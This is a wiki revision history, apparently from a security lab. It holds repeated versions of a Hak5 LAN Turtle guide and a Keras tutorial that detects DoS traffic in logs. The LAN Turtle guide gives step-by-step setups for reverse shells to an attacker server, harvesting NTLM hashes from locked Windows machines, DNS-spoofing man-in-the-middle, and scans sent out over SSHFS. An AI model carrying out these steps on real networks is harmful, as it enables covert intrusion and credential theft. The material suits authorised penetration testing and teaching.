# The amber LED will flash very quickly while the attack is running, afterwards they will slow down while the files are saved and the attacks finishes. Lastly the amber LED will flash in a slow and steady pattern to signalize everything is finished up
# Remove the Lan Turtle

==== Step 5: Gather hashes ====
# Plug the Lan Turtle into your machine again and connect via SSH
# Navigate to "/root/loot/quickcreds"
# Every folder "Creds1" ... "CredsN" contains the log of QuickCreds attacks, aswell as the gathered NTLM hashes, if the attack was successful
# Windows devices that use a connected Microsoft Account are currently no susceptible for QuickCreds attacks

=== Man-in-the-middle attacks with DNSMasq-Spoof ===

==== Step 1: Configure the spoofhost file ====
# Open the DNSMasq-Spoof module and go to "Configure"
# Add the DNS entries that the LAN turtle should spoof by entering the host IP address and the spoofed DNS name

==== Step 2: Set up your server ====
#Create an index.html file by using the command <code>nano index.html</code> and fill it with the content you want to display to the target
#Set up http. An easy way to do so is by issuing <code>sudo python3 -m http.server 8080</code> on your server

==== Step 3: Place the LAN turtle in the network ====
After configuring the spoofed hosts, place the LAN turtle on the victim computer by simply plugging the turtle into an USB port of the computer and the network cable into the LAN turtle. When trying to access one of the spoofed DNS names, the target instead opens your pre-configured html file.

=== Information Gathering with nmap ===
As an example project we use the following modules:
* Cron to periodically start the attack
* SSHFS to save the caputred information in a file on the remote server
* Nmap-Scan to sniff the configuration and devices of the network

==== Step 1: Configure SSHFS ====
# Access the SSHFS module via the module manager
# Go to the configure tab and insert
#* <code>host</code> IP address of the remote server
#* <code>port</code> 22
#* <code>user</code> the username
#* <code>path</code> This can be left blank if you want to use the users home directory
# Start SSHFS and enable it for start up

==== Step 2: nmap-scan ====
# Access the nmap-scan module via the module manager
# Go to the configure tab and insert
#* target: <code>192.168.0.1-255</code> (This may differ for our network)
#* logflie: <code>/sshfs/</code>
#* use the desired attack profile
#* save the configuration with execute

==== Step 3: cron job ====
# add in the con config <code>*/15 * * * * start nmap-scan</code>
This line start an nmap-scan every 15 minutes.

=== Deploy services via TOR with Tortle ===
==== Hidden Service ====
Onion Host sets up a hidden service inside the TOR network. By default it is a TORShell (SSH within TOR).
==== Proxy & Gateway configuration ====
TORGateway, if enabled, automatically and conveniently tunnels ALL eth0 traffic through TOR Transparent Proxy. TOR Proxy is just the regular SOCKS proxy through TOR.
==== Bridge configurtation ====
Bridges can be used to avoid blocking of the standard tor relays.
==== HTTP Proxy configuration ====
HTTP Proxy can be configured to control internet access.
==== HTTPS Proxy configuration ====
HTTPS Proxy can be configured to control internet access.
==== Firewall configuration ====
You can configure a firewall that restricts access to serveral ports.

== Used Hardware ==

[[LAN Turtle]]

== References ==
* https://docs.hak5.org/hc/en-us/categories/360000979313-LAN-Turtle
<references>
<ref name="own">own creation</ref>
</references>

[[Category:Pentesting]]

Hak5 LAN Turtle

2022-12-07T08:26:24Z

ARessl: Added QuickCreds attack

== Summary ==
[[File:LANTurtle.jpg |thumb|right|400px||LAN Turtle and Field Guide <ref name="own"></ref>]]
The LAN turtle is a tool for penetration testers and system administrators disguised as a simple USB Ethernet adapter. It provides possibilities to perform remote access, man-in-the-middle and information gathering attacks. These functions are provided by the turtle modules which are preinstalled on the LAN turtle. The modules are based on the OpenWRT platform which allow users to add customized modules. The turtle itself is covert by a generic USB to Ethernet adapter and can therefore be placed unnoticed in IT infrastructures.

== Description ==

=== Setting up the LAN Turtle ===

# Plug the LAN turtle into one of the USB ports of your computer.
# Your computer will get an 172.16.84.x address as soon as the startup sequence of the turtle finished. If not, then you have to statically configure an IP out of the 172.16.84.0/24 range.
# Connect to the turtle with <code>ssh root@172.16.84.1</code> and enter the password <code>sh3llz</code>
# The simplistic graphical shell interface will prompt you to change the password but the old one is also allowed.
# The LAN turtle can be configured and modules can be installed within the interface.
# If you end the interface you will be greeted with an normal Linux shell but you can open it again with the <code>turtle</code> command

=== Updating firmware (optional) ===
To ensure the best performance and compatability you should update the firmware regularly. This requires internet connection.

# Select <code>Config</code> in the Main Menu and press select.
# Go to <code>Check for updates</code> and press select to start the update process.
# Wait till the update finishes.

=== Factory Reset (optional)===
In the extreme case that a LAN Turtle has become permanently inaccessible or inoperative, there is a quick method for recovery using a special web interface.
# Download the latest LAN Turtle factory image from the [https://downloads.hak5.org/ official download center]. Note: Choose the factory recovery image.
# Open the LAN Turtle carefully. There are 2 screws under the sticker.
# Now you need to find the reset button/jumper contact. You can find a video on how to locate [https://www.youtube.com/watch?v=ubNin_79wxE here].
# Hold down the button/jumper while you're plugging the LAN Turtle in your PC and keep holding it for 5 more seconds.
# Go to http://192.168.1.1 for the firmware web recovery tool and upload the image to the LAN Turtle.
# Wait 5-10 minutes for the recovery to finish, the LAN Turtle will indicate it with a special LED blink pattern. Watch the video for the LED Pattern to know when the recovery has finished.

=== Using the turtle modules ===

The LAN turtle comes packed with pre-installed tools. Furthermore it is possible to program your own or download them from the internet and configure them with the module manager as well.

[[File:LANTurtleModules.jpg|400px||LAN Turtle configuration shell interface]] <ref name="own"></ref>

==== Manually download turtle modules ====
If the module manager doesn't work you need to manually download turtle modules. You can do that in the console of the lan turtle, just exit the main menu.
You can download modules from the [https://github.com/hak5/lanturtle-modules/tree/gh-pages/modules official hak5 github].

# Change directory to <code>/etc/turtle/modules</code>
# Download modules with <code>wget <link></code>
# Make the file an executeable <code>chmod +x <file></code>

==== AutoSSH ====

AutoSSH is a service which provides persistent SSH connections. If an SSH session drops, it will be quickly re-established by AutoSSH. This service is typically used to provide a convenient and persistent reverse shell into the LAN Turtle on the standard SSH port 22 - though it may be configured with any standard SSH parameters to forward any arbitrary port.
*<code>host</code> - The username and hostname (DNS or IP) separated by @ for which to establish the SSH connection.
*<code>port</code> - The port number from which the remote server will bind.
*<code>listen port</code> - The port number to which the remote port will bind.

Example: Per the defaults, the remote server will bind its local port 2222 back to the LAN Turtle port 22. In this scenario one may establish a persistent connection to their LAN Turtle from this reverse shell by first connecting to the public server, and then from there establishing an SSH connection to port 2222.

==== Clomac ====
Clomac clones the Client's MAC address into the WAN interface.

==== Cron ====
Cron is a job scheduler which can be used to start and stop modules at specific times or regular intervals using the 'start' and 'stop' commands.

==== DDNSC - Dynamic Domain Name Service Client ====
This service provides automatic Dynamic Domain Name updates.

==== DNSSpoof ====
DNSSpoof forges replies to arbitrary DNS address / pointer queries on the LAN. This is useful in bypassing hostname-based access controls, or in implementing a variety of man-in-the-middle attacks. For example, the IP address returned for a client lookup of the domain \"example.com\" can be replaced with that of the LAN Turtle itself, or a 3rd party server. In this scenario, the computer connected to the Internet through the LAN Turtle attempting to browse to this domain may be redirected to the spoofed IP.

==== DNSMasq-Spoof ====
The DNSMasq-Spoof works similar to the DNSSpoof module but uses DNSMasq instead of Dsniff tools.

==== Keymanager ====
With this tool you can create RSA keypairs and copy them to the public server. This is required in order to properly configure AutoSSH.

==== Meterpreter ====
This module deploys an persistent shell to the Metasploit Framework of an other Machine.

==== NetCat Reverse Shell ====
The netcat reverse shell provides you with remote access to the lan turtle. Even though it is not to be considered as persistent per default, its reliability can be increased with simple bash scripts on the server side.

==== Nmap-Scan ====
This module uses <code>nmap</code> for discovering running devices and their port of the current LAN network. The user is able to specify a target network range to scan, choose from different scan profiles and specify the directory to write the log file to.

==== OpenVPN ====
OpenVPN enables remote access the LAN Turtle and optionally the network on which it resides. It allows to send the captured data to your operating network.

==== QuickCreds ====
This module is used to retrieve login credentials from locked windows machines. The credentials are saved to <code>/root/loot</code>. The LAN turtle LED blinks while QuickCreds is running and lights solid when its done. Versions of the LAN turtle that do not support an SD card are not able to install it properly as it requires more space.+

==== Iodine ====
Establishes a DNS tunnel outbound to a server and domain name using iodine.

==== Responder ====
Responder is a LLMNR, NBT-NS and MDNS posioner. It answers to specific Name Service queries based on ther name suffix. By default, it only answers to File Server Service requests for SMB. It aims to be stealthier on the network and ensure that legitimate NBT-NS behavior is not broken with.

==== Script2Email ====
This module sends the output of a script as an email to a specified address. To do so, it uses SMTP and requires a mail account.

==== Script2Http ====
Sens the output of a script as HTTP post to a specified URL.

==== SSHFS ====
SSHFS (Secure SHell FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X or FreeBSD) capable of operating on files on a remote computer using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted, the implementation makes use of the FUSE (Filesystem in Userspace) kernel module. The practical effect of this is that the end user can seamlessly interact with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote computer the SFTP subsystem of SSH is used.

==== Tortle ====
Tortle makes the turtle act as an TOR Gateway. It enables you to setup several services.

==== uPnP-Portfwd ====
This service provides automatic port forwarding when connected to some uPnP enabled routers. This way it is able to provide a persistend direct shell from the outside to the LAN turtle. This won't work in many cases but is useful in cases it does.

==== Uptime ====
Displays the uptime of the LAN Turtle as well as the load average.

==== URLSnarf ====
URLSnarf allows you to capture which websites were accessed by the plugged in computer. URLSnarf only works with HTTP webpages which are hard to find today. Even though it is displayed as downloadable via the modulemanager, it is depricated in Turtle Shell 6.2.

== Use Cases==

The LAN turtle can be deployed in various use cases, which can be divided into four categories:
* remote access attacks with AutoSSH or OpenVPN or NetCat Reverse Shell
* man-in-the-middle attacks with URLSnarf or DNSSpoof
* information gathering with Nmap-Scan
* deploy service with via TOR-network

Remote access attacks are used to gain access to a private network from a remote place in order to start further attacks from the inside network. This makes it a lot more easier because the attack itself does not have to bypass a router or firewall. All the attacker needs is the pre-configured LAN turtle inside the network and a remote server on the internet. To perform a remote access, the LAN turtle builds up a tunnel to the remote server so the firewall cannot capture the traffic. Finally the attacker can access the LAN turtle through the tunnel from the remote server. This attack can be performed with the modules AutoSSH or OpenVPN.

The LAN turtle also allows man-in-the-middle attacks, where the turtle can intercept the communication between two parties. To perform such an attack, the LAN turtle must be connected to an USB port of the victim host and to a network cable which connects the host to the internal LAN. Now the whole traffic of the victim host goes over the LAN turtle and can be logged or altered. An attacker can use URLSnarf or DNSSpoof to perform such an attack.

The third use case is information gathering. The aim of this attack is to receive information about the topology, the hosts and the protocols of an internal network in order to perform further attacks. This can be done with the modules like Nmap-Scan.

The following step-by-step instructions will outline how to configure the LAN turtle in order to perform the different types of attacks.

=== Remote access attacks with AutoSSH ===
In this example consider an internal network which is secured by a firewall and a server in the internet controlled by the attacker. The server is using 10.0.0.41 and a user turtle was created on it in order to simplify depictions.

==== Step 1: Generate RSA keypairs with Keymanager ====
[[File:SSH_Key.png |thumb|right|400px||<ref name="own"></ref>]]
# Open the Keymanager module and select <code>generate_key</code>
# Select <code>copy_key</code> and insert
#* <code>host</code> remote SSH server
#* <code>port</code> remote SSH server port (typically 22)
#* <code>user</code> user on the remote SSH server
# A prompt will ask wether or not to confirm the fingerprint
# The password for the user on the host is requestes
# If no error occurs, the exchange was succesful

==== Step 2: Configure AutoSSH ====
[[File:SSH_config.png |thumb|right|400px||<ref name="own"></ref>]]
# Open AutoSSH and insert the following parameters:
#* <code>user@host</code> user and host to establish the SSH tunnel
#* <code>port</code> the port on the Host used to establish the SSH tunnel
#* <code>remote port</code> remote port to bind through the SSH tunnel (default 2222)
#* <code>local port</code> local port to bind tunnel (default 22)
# Submit the changes and start AutoSSH (or enable it for autostart)

==== Step 2: Access LAN turtle from remote server ====
# Connect to the remote server
# Connect locally to the remote port of the AutoSSH configuration by <code>ssh root@localhost:2222</code>
# You are now on the LAN turtle, continue with further attacks

=== Remote access attacks with NetCat Reverse Shell ===
[[File:NC_output.png |thumb|right|400px||Servers perspective of the NC reverse shell <ref name="own"></ref>]]
==== Step 1: Start NetCat server on your host machine ====
* First you need to setup a netcat connection on your host machine that listens to incoming connections. To start NetCat server execute <code>nc -l 8080</code>

==== Step 2: Configure NetCat Reverse Shell ====
# Open the NetCat Reverse Shell module and go to "Configure"
# Enter your host machines ip address and the port of the nc server. In our case 4444.
# Start the module on the LAN Turtle.

==== Step 3: Exploit ====
When the reverse shell connected to your host machine you can execute commands on the lan turtle over the reverse shell.

=== Gather credentials of locked machines using QuickCreds ===

==== Step 1: Install an SD Card to an applicable Lan Turtle ====
# Carefully open the Lan Turtle Shell as described above, also mind the two screws hidden under the sticker to open it fully
# Turn the Lan Turtle around and fit an SD Card into the SD Card Slot
# Start the Lan Turtle and select the "Format SD Card" option. This is important to avoid any filesystem incompatibilities

==== Step 2: Install QuickCreds module ====
# Open the Module Manager, select QuickCreds and install it
# Go back to the installed modules and open QuickCreds
# Select configure and wait for a minute while QuickCreds installs all the necessary packages

==== Step 3: Arm QuickCreds ====
# Open QuickCreds and click "ENABLE", this will start QuickCreds when the Lan Turtle is plugged in

==== Step 4: Exploit ====
# Plug the armed Lan Turtle into any locked Windows machine
# The amber LED will flash very quickly while the attack is running, afterwards they will slow down while the files are saved and the attacks finishes. Lastly the amber LED will flash in a slow and steady pattern to signalize everything is finished up
# Remove the Lan Turtle

==== Step 5: Gather hashes ====
# Plug the Lan Turtle into your machine again and connect via SSH
# Navigate to "/root/loot/quickcreds"
# Every folder "Creds1" ... "CredsN" contains the log of QuickCreds attacks, aswell as the gathered NTLM hashes, if the attack was successful
# Windows devices that use a connected Microsoft Account are currently no susceptible for QuickCreds attacks

=== Man-in-the-middle attacks with DNSMasq-Spoof ===

==== Step 1: Configure the spoofhost file ====
# Open the DNSMasq-Spoof module and go to "Configure"
# Add the DNS entries that the LAN turtle should spoof by entering the host IP address and the spoofed DNS name

==== Step 2: Set up your server ====
#Create an index.html file by using the command <code>nano index.html</code> and fill it with the content you want to display to the target
#Set up http. An easy way to do so is by issuing <code>sudo python3 -m http.server 8080</code> on your server

==== Step 3: Place the LAN turtle in the network ====
After configuring the spoofed hosts, place the LAN turtle on the victim computer by simply plugging the turtle into an USB port of the computer and the network cable into the LAN turtle. When trying to access one of the spoofed DNS names, the target instead opens your pre-configured html file.

=== Information Gathering with nmap ===
As an example project we use the following modules:
* Cron to periodically start the attack
* SSHFS to save the caputred information in a file on the remote server
* Nmap-Scan to sniff the configuration and devices of the network

==== Step 1: Configure SSHFS ====
# Access the SSHFS module via the module manager
# Go to the configure tab and insert
#* <code>host</code> IP address of the remote server
#* <code>port</code> 22
#* <code>user</code> the username
#* <code>path</code> This can be left blank if you want to use the users home directory
# Start SSHFS and enable it for start up

==== Step 2: nmap-scan ====
# Access the nmap-scan module via the module manager
# Go to the configure tab and insert
#* target: <code>192.168.0.1-255</code> (This may differ for our network)
#* logflie: <code>/sshfs/</code>
#* use the desired attack profile
#* save the configuration with execute

==== Step 3: cron job ====
# add in the con config <code>*/15 * * * * start nmap-scan</code>
This line start an nmap-scan every 15 minutes.

=== Deploy services via TOR with Tortle ===
==== Hidden Service ====
Onion Host sets up a hidden service inside the TOR network. By default it is a TORShell (SSH within TOR).
==== Proxy & Gateway configuration ====
TORGateway, if enabled, automatically and conveniently tunnels ALL eth0 traffic through TOR Transparent Proxy. TOR Proxy is just the regular SOCKS proxy through TOR.
==== Bridge configurtation ====
Bridges can be used to avoid blocking of the standard tor relays.
==== HTTP Proxy configuration ====
HTTP Proxy can be configured to control internet access.
==== HTTPS Proxy configuration ====
HTTPS Proxy can be configured to control internet access.
==== Firewall configuration ====
You can configure a firewall that restricts access to serveral ports.

== Used Hardware ==

[[LAN Turtle]]

== References ==
* https://docs.hak5.org/hc/en-us/categories/360000979313-LAN-Turtle
<references>
<ref name="own">own creation</ref>
</references>

[[Category:Pentesting]]

AI: Anomaly Detection in logfiles

2022-07-27T15:46:30Z

ARessl:

== Summary ==

This guide will create a basic AI model to perform binary classification in order to detect anomalies in logfiles.
This AI model is also suitable for the [[Jetson AGX Xavier Development Kit]]

== Requirements ==

* Packages: TensorFlow, Keras, Pandas, sklearn, numpy, seaborn, matplotlib
* Software: Pycharm or any other python editor
* Dataset: We used the following [https://www.unb.ca/cic/datasets/ids-2018.html Dataset]

== Description ==

=== Step 0 - Import the needed packages/libraries ===

from keras.callbacks import EarlyStopping, ModelCheckpoint # for training
from keras.models import Sequential, load_model # for model
from keras.layers import Dense, Activation # layers and activation function
import pandas as pd # read/prep dataset
pd.options.mode.chained_assignment = None # removes warning
import numpy as np # read/prep dataset
import sklearn.model_selection as sk # dataset splitting
import tensorflow as tf # for model
import seaborn as sns # plotting
from sklearn.metrics import confusion_matrix # confusion matrix
from matplotlib import pyplot as plt # plotting

=== Step 1 - Read the dataset ===

First we need to read the data, for that we can use the predefined function from pandas 'read_csv'
logfile_features = pd.read_csv(path)
Afterwards we replace the infinite values with nans and drop them all together
logfile_features.replace([np.inf, -np.inf], np.nan, inplace=True)
logfile_features.dropna(inplace=True)
Our dataset has labels which define if its an attack or not, so we replace them with numericals (0 and 1)

In our case Benign is for standard user traffic and DoS attacks-Slowloris and DoS attacks-GoldenEye is for traffic where a DoS attack occured
logfile_features["Label"].replace({"Benign": 0, "DoS attacks-Slowloris": 1, "DoS attacks-GoldenEye": 1}, inplace=True)
Next we shuffle our dataset
logfile_features = logfile_features.sample(frac=1)

Now we need to split our data into 3 parts: Training data (60%), Test data (20%) and Validation data (20%).
To do that we use the following methods
train_dataset, temp_test_dataset = sk.train_test_split(logfile_features, test_size=0.4)
test_dataset, valid_dataset = sk.train_test_split(temp_test_dataset, test_size=0.5)

Next we extract the labels from the actual dataset, we need them extra for our training
train_labels = train_dataset.pop('Label')
test_labels = test_dataset.pop('Label')
valid_labels = valid_dataset.pop('Label')

To norm our data correctly we need to get the stats of our training data (mean and standard deviation)
train_stats = train_dataset.describe()
train_stats = train_stats.transpose()

For norming we use a following method
def norm(x, stats):
return (x - stats['mean']) / stats['std']
This method can then be used the following way
normed_train_data = norm(train_dataset, train_stats)
normed_test_data = norm(test_dataset, train_stats)
normed_valid_dataset = norm(valid_dataset, train_stats)

=== Step 2 - Create a model ===

First we need to create a sequential model, which can be trained later
model = Sequential()

The next step is to create an input layer with exactly as many nodes as features in our training data
model.add(Dense(normed_train_data.shape[1],input_shape=(normed_train_data.shape[1],))

Next a hidden layer consisting of 128 nodes with the ReLU (Rectified Linear Unit) activation function
model.add(Dense(128, Activation('relu')))

And finally the output layer consisting of 1 node which represents 'attack' or 'no attack'
model.add(Dense(1))

Now we could change the learning rate to a specific value, but we just leave it at the default 0.001
learning_rate = 0.001
For the optimizer we just use the Adam Optimizer with the pre-defined learning rate
optimizer = tf.optimizers.Adam(learning_rate)

Lastly we need to compile the model, for the loss function we use BinaryCrossentropy, our optimizer and the metric should be the accuarcy of the model
model.compile(loss=tf.keras.losses.BinaryCrossentropy(from_logits=True),
optimizer=optimizer,
metrics=['accuracy'])

=== Step 3 - Train the model ===

First we set our epochs, a complete pass of the normed training data through the model, and our batch size, after how many datapoints the model gets updated
EPOCHS = 5000
batch_size = 1024

To not have to wait for 5000 training epochs to finish and to prevent overfitting we can set an early stop
es = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=2)

Finally the training, model fitting, can start
with tf.device('/CPU:0'):
# with tf.device('/GPU:0'): # wenn man mit der Grafikkarte trainieren will
history = model.fit(
normed_train_data,
train_labels,
batch_size=batch_size,
epochs=EPOCHS,
verbose=1,
shuffle=True,
steps_per_epoch=int(normed_train_data.shape[0] / batch_size),
validation_data=(normed_valid_dataset, valid_labels), callbacks=[es],
)

=== Step 4 - Plot the results ===
After the training has been completed you can easily plot the accuarcy and validation accuracy during the training using
plt.plot(history.history['accuracy'])
plt.plot(history.history['val_accuracy'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['Train', 'Cross-Validation'], loc='upper left')
plt.show()

To show the accuarcy when tested against the test data, meaning data the model didn't train with, we can use a confusion matrix the following
ax = plt.subplot()
predict_results = model.predict(normed_test_data)
predict_results = (predict_results > 0.5)
cm = confusion_matrix(test_labels, predict_results)
ax.set_xlabel('Predicted labels')
ax.set_ylabel('True labels')
ax.set_title('Confusion Matrix')
ax.xaxis.set_ticklabels(['No Attack', 'Attack'])
ax.yaxis.set_ticklabels(['No Attack', 'Attack'])
plt.show()

[[File:AI_model_accuracy.png|500px|Model Accuracy]]
[[File:AI_confusion_matrix.png|500px|Confusion Matrix]]

== Used Hardware ==

* [[Jetson AGX Xavier Development Kit]]

== References ==
* Dataset https://www.unb.ca/cic/datasets/ids-2018.html
* learndatasci Guide https://www.learndatasci.com/glossary/binary-classification/
* Binary Classification with keras Guide https://machinelearningmastery.com/binary-classification-tutorial-with-the-keras-deep-learning-library/

[[Category:Documentation]]

AI: Anomaly Detection in logfiles

2022-07-13T14:54:20Z

ARessl:

AI: Anomaly Detection in logfiles

2022-07-13T14:53:36Z

ARessl:

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify">
&emsp;➤ IMPORTANT: This page is still under construction.</div>
== Summary ==

This guide will create a basic AI model to perform binary classification in order to detect anomalies in logfiles.
This AI model is also suitable for the [[Jetson AGX Xavier Development Kit]]

== Requirements ==

* Packages: TensorFlow, Keras, Pandas, sklearn, numpy, seaborn, matplotlib
* Software: Pycharm or any other python editor
* Dataset: We used the following [https://www.unb.ca/cic/datasets/ids-2018.html Dataset]

== Description ==

=== Step 0 - Import the needed packages/libraries ===

from keras.callbacks import EarlyStopping, ModelCheckpoint # for training
from keras.models import Sequential, load_model # for model
from keras.layers import Dense, Activation # layers and activation function
import pandas as pd # read/prep dataset
pd.options.mode.chained_assignment = None # removes warning
import numpy as np # read/prep dataset
import sklearn.model_selection as sk # dataset splitting
import tensorflow as tf # for model
import seaborn as sns # plotting
from sklearn.metrics import confusion_matrix # confusion matrix
from matplotlib import pyplot as plt # plotting

=== Step 1 - Read the dataset ===

First we need to read the data, for that we can use the predefined function from pandas 'read_csv'
logfile_features = pd.read_csv(path)
Afterwards we replace the infinite values with nans and drop them all together
logfile_features.replace([np.inf, -np.inf], np.nan, inplace=True)
logfile_features.dropna(inplace=True)
Our dataset has labels which define if its an attack or not, so we replace them with numericals (0 and 1)

In our case Benign is for standard user traffic and DoS attacks-Slowloris and DoS attacks-GoldenEye is for traffic where a DoS attack occured
logfile_features["Label"].replace({"Benign": 0, "DoS attacks-Slowloris": 1, "DoS attacks-GoldenEye": 1}, inplace=True)
Next we shuffle our dataset
logfile_features = logfile_features.sample(frac=1)

Now we need to split our data into 3 parts: Training data (60%), Test data (20%) and Validation data (20%).
To do that we use the following methods
train_dataset, temp_test_dataset = sk.train_test_split(logfile_features, test_size=0.4)
test_dataset, valid_dataset = sk.train_test_split(temp_test_dataset, test_size=0.5)

Next we extract the labels from the actual dataset, we need them extra for our training
train_labels = train_dataset.pop('Label')
test_labels = test_dataset.pop('Label')
valid_labels = valid_dataset.pop('Label')

To norm our data correctly we need to get the stats of our training data (mean and standard deviation)
train_stats = train_dataset.describe()
train_stats = train_stats.transpose()

For norming we use a following method
def norm(x, stats):
return (x - stats['mean']) / stats['std']
This method can then be used the following way
normed_train_data = norm(train_dataset, train_stats)
normed_test_data = norm(test_dataset, train_stats)
normed_valid_dataset = norm(valid_dataset, train_stats)

=== Step 2 - Create a model ===

First we need to create a sequential model, which can be trained later
model = Sequential()

The next step is to create an input layer with exactly as many nodes as features in our training data
model.add(Dense(normed_train_data.shape[1],input_shape=(normed_train_data.shape[1],))

Next a hidden layer consisting of 128 nodes with the ReLU (Rectified Linear Unit) activation function
model.add(Dense(128, Activation('relu')))

And finally the output layer consisting of 1 node which represents 'attack' or 'no attack'
model.add(Dense(1))

Now we could change the learning rate to a specific value, but we just leave it at the default 0.001
learning_rate = 0.001
For the optimizer we just use the Adam Optimizer with the pre-defined learning rate
optimizer = tf.optimizers.Adam(learning_rate)

Lastly we need to compile the model, for the loss function we use BinaryCrossentropy, our optimizer and the metric should be the accuarcy of the model
model.compile(loss=tf.keras.losses.BinaryCrossentropy(from_logits=True),
optimizer=optimizer,
metrics=['accuracy'])

=== Step 3 - Train the model ===

First we set our epochs, a complete pass of the normed training data through the model, and our batch size, after how many datapoints the model gets updated
EPOCHS = 5000
batch_size = 1024

To not have to wait for 5000 training epochs to finish and to prevent overfitting we can set an early stop
es = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=2)

Finally the training, model fitting, can start
with tf.device('/CPU:0'):
# with tf.device('/GPU:0'): # wenn man mit der Grafikkarte trainieren will
history = model.fit(
normed_train_data,
train_labels,
batch_size=batch_size,
epochs=EPOCHS,
verbose=1,
shuffle=True,
steps_per_epoch=int(normed_train_data.shape[0] / batch_size),
validation_data=(normed_valid_dataset, valid_labels), callbacks=[es],
)

=== Step 4 - Plot the results ===
After the training has been completed you can easily plot the accuarcy and validation accuracy during the training using
plt.plot(history.history['accuracy'])
plt.plot(history.history['val_accuracy'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['Train', 'Cross-Validation'], loc='upper left')
plt.show()

To show the accuarcy when tested against the test data, meaning data the model didn't train with, we can use a confusion matrix the following
ax = plt.subplot()
predict_results = model.predict(normed_test_data)
predict_results = (predict_results > 0.5)
cm = confusion_matrix(test_labels, predict_results)
ax.set_xlabel('Predicted labels')
ax.set_ylabel('True labels')
ax.set_title('Confusion Matrix')
ax.xaxis.set_ticklabels(['No Attack', 'Attack'])
ax.yaxis.set_ticklabels(['No Attack', 'Attack'])
plt.show()

[[File:AI_model_accuracy.png|500px|Model Accuracy]]
[[File:AI_confusion_matrix.png|500px|Confusion Matrix]]

== Used Hardware ==

* [[Jetson AGX Xavier Development Kit]]

[[Category:Documentation]]